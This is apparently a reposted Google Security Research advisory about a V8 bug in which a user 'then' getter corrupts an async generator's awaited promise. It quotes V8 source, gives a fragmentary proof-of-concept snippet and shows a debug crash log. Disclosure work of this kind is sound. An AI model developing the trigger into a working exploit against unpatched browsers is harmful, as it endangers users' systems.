Google Chrome V8 AwaitedPromise Update Bug

Type packetstorm
Reporter Google Security Research
Modified 2018-04-26T00:00:00


                                            `Chrome: V8: AwaitedPromise update bug   
Here's a snippet of AsyncGeneratorReturn. (<a href="" title="" class="" rel="nofollow"></a>)  
Node* const context = Parameter(Descriptor::kContext);  
Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);  
Node* const promise =  
Await(context, generator, value, outer_promise, AwaitContext::kLength,  
init_closure_context, var_on_resolve.value(), var_on_reject.value(),  
CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));  
StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,  
The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.  
async function* asyncGenerator() {  
let gen = asyncGenerator();  
get then() {  
delete this.then;;  
Log in debug mode:  
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/]  
==== JS stack trace =========================================  
Security context: 0x2b29083a3a71 <JSObject>#0#  
2: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#)  
==== Details ================================================  
[2]: /* anonymous */(this=0x19b7b0603721 <JSGlobal Object>#1#,0x19b7b060d139 <Object map = 0x189055388c91>#2#) {  
// optimized frame  
--------- s o u r c e c o d e ---------  
<No Source>  
==== Key ============================================  
#0# 0x2b29083a3a71: 0x2b29083a3a71 <JSObject>  
#1# 0x19b7b0603721: 0x19b7b0603721 <JSGlobal Object>  
#2# 0x19b7b060d139: 0x19b7b060d139 <Object map = 0x189055388c91>  
Received signal 4 ILL_ILLOPN 7fb143ae2781  
==== C stack trace ===============================  
[end of stack trace]  
Illegal instruction  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
Found by: lokihardt